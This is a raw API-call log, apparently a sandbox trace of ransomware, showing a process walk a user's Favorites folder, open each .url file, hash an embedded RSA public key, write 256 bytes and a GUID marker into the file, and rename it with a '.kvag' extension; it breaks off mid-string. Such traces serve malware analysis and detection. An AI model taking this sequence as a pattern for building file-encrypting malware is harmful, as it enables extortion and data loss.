FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.709] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0120.709] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0120.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.710] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.710] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.712] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.712] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.713] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.713] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.713] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.713] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.713] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.714] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.714] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.714] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.714] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.714] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.714] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.715] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.715] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.715] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.715] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.715] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.715] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.715] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.715] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.715] CloseHandle (hObject=0x61c) returned 1 [0120.716] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.kvag")) returned 1 [0120.717] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0120.717] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0120.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.718] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.718] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.720] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.721] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.722] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.722] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.722] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.722] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.722] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.723] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.723] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.723] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.723] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.723] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.723] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.723] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.723] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.723] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.723] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.723] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.723] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.723] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.724] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.724] CloseHandle (hObject=0x61c) returned 1 [0120.724] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.kvag")) returned 1 [0120.726] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0120.726] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0120.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.726] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.726] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.728] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.728] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.729] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.729] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.729] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.729] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.729] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.730] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.730] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.730] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.730] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.730] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.730] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.730] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.730] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.730] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.730] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.731] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.731] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.731] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.731] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.731] CloseHandle (hObject=0x61c) returned 1 [0120.732] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.kvag")) returned 1 [0120.733] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0120.733] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0120.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.734] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.734] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.736] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.736] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.737] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.737] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.737] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.737] lstrlenA (lpString="-----BEGIN PUBLIC 